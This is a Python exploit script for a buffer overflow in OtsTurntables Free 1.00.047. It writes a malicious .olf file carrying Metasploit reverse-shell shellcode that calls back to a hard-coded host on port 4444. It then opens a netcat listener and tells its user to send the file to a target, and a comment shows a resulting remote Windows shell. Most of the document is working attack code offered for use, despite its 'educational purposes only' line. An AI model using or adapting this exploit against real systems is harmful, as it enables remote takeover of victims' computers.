OtsTurntables Free 1.00.047 – ‘.olf’ Universal Buffer Overflow
#!/usr/bin/python # # ################################################################### # # OtsTurntables Free v1.00.047 (.olf) Universal Buffer Overflow Exploit # Date: 14-01-2010 # Author: mr_me # Software Link: http://www.otsturntables.com/download-otsturntables-free/ # Version: 1.00.047 # Tested on: Windows XP sp3 # Greetz: corelanc0d3r/jacky/eske/sinn3r/EdiStrosar/Rick2600/MarkoT/jnz # bad chars: '\x00\x0a\xbd\x0d\x20' # # ** For educational purposes only ** # # #################################################################### # # ~! I want to go back to the matrix !~ # # mrme@backtrack:~$ ./0wnm3.py 4444 awsome-electro.olf # # [+] OtsTurntables Free v1.00.047 (olf file) BOF Exploit # [+] Creating exploit file.. # [+] Writing 15000 bytes to awsome-electro.olf.. ph33r # [+] Send awsome-electro.olf to your target # [+] Waiting for a shell on port: 4444 # listening on [any] 4444 ... # 192.168.2.19: inverse host lookup failed: Unknown server error : Connection timed out # connect to [192.168.2.10] from (UNKNOWN) [192.168.2.19] 2624 # Microsoft Windows XP [Version 5.1.2600] # (C) Copyright 1985-2001 Microsoft Corp. # # C:\OtsLabs\Lists> # import sys, os def banner(): print "|------------------------------------------------------------------|" print "| __ __ |" print "| _________ ________ / /___ _____ / /____ ____ _____ ___ |" print "| / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ |" print "| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |" print "| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ |" print "| |" print "|-------------------------------------------------[ EIP Hunters ]--|" print "[+] OtsTurntables Free v1.00.047 (olf file) BOF Exploit" if len(sys.argv) < 3: banner() print "[?] Usage: " + sys.argv[0] + " <port> <filename>" sys.exit(1) port = sys.argv[1] filename = sys.argv[2] # windows/shell_reverse_tcp - 310 bytes # http://www.metasploit.com # Encoder: x86/fnstenv_mov # LHOST=192.168.2.10, EXITFUNC=seh, LPORT=4444 shell = ("\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x47\x4b" "\x25\x9a\x83\xeb\xfc\xe2\xf4\xbb\x21\xce\xd7\xaf\xb2\xda\x65" "\xb8\x2b\xae\xf6\x63\x6f\xae\xdf\x7b\xc0\x59\x9f\x3f\x4a\xca" "\x11\x08\x53\xae\xc5\x67\x4a\xce\xd3\xcc\x7f\xae\x9b\xa9\x7a" "\xe5\x03\xeb\xcf\xe5\xee\x40\x8a\xef\x97\x46\x89\xce\x6e\x7c" "\x1f\x01\xb2\x32\xae\xae\xc5\x63\x4a\xce\xfc\xcc\x47\x6e\x11" "\x18\x57\x24\x71\x44\x67\xae\x13\x2b\x6f\x39\xfb\x84\x7a\xfe" "\xfe\xcc\x08\x15\x11\x07\x47\xae\xea\x5b\xe6\xae\xda\x4f\x15" "\x4d\x14\x09\x45\xc9\xca\xb8\x9d\x43\xc9\x21\x23\x16\xa8\x2f" "\x3c\x56\xa8\x18\x1f\xda\x4a\x2f\x80\xc8\x66\x7c\x1b\xda\x4c" "\x18\xc2\xc0\xfc\xc6\xa6\x2d\x98\x12\x21\x27\x65\x97\x23\xfc" "\x93\xb2\xe6\x72\x65\x91\x18\x76\xc9\x14\x08\x76\xd9\x14\xb4" "\xf5\xf2\x87\xe3\x27\x90\x21\x23\x34\xc6\x21\x18\xac\x7b\xd2" "\x23\xc9\x63\xed\x2b\x72\x65\x91\x21\x35\xcb\x12\xb4\xf5\xfc" "\x2d\x2f\x43\xf2\x24\x26\x4f\xca\x1e\x62\xe9\x13\xa0\x21\x61" "\x13\xa5\x7a\xe5\x69\xed\xde\xac\x67\xb9\x09\x08\x64\x05\x67" "\xa8\xe0\x7f\xe0\x8e\x31\x2f\x39\xdb\x29\x51\xb4\x50\xb2\xb8" "\x9d\x7e\xcd\x15\x1a\x74\xcb\x2d\x4a\x74\xcb\x12\x1a\xda\x4a" "\x2f\xe6\xfc\x9f\x89\x18\xda\x4c\x2d\xb4\xda\xad\xb8\x9b\x4d" "\x7d\x3e\x8d\x5c\x65\x32\x4f\xda\x4c\xb8\x3c\xd9\x65\x97\x23" "\xd5\x10\x43\x14\x76\x65\x91\xb4\xf5\x9a"); exploit = "\x41" * 900 exploit += "\xeb\x06\x90\x90" exploit += "\x46\x79\x23\x01" # CALL DWORD PTR SS:[ESP+2c] exploit += "\x90" * 30 exploit += shell exploit += "\x41" * (15000-len(exploit)) banner() try: print "[+] Creating exploit file.." print "[+] Writing",len(exploit),"bytes to " + filename + ".. ph33r" print "[+] Send " + filename + " to your target" turntable = open(filename,'w'); turntable.write(exploit); turntable.close(); print "[+] Waiting for a shell on port: " + port os.system('nc -lvp ' + port) except: print "[-] Error: You do not have correct permissions.." |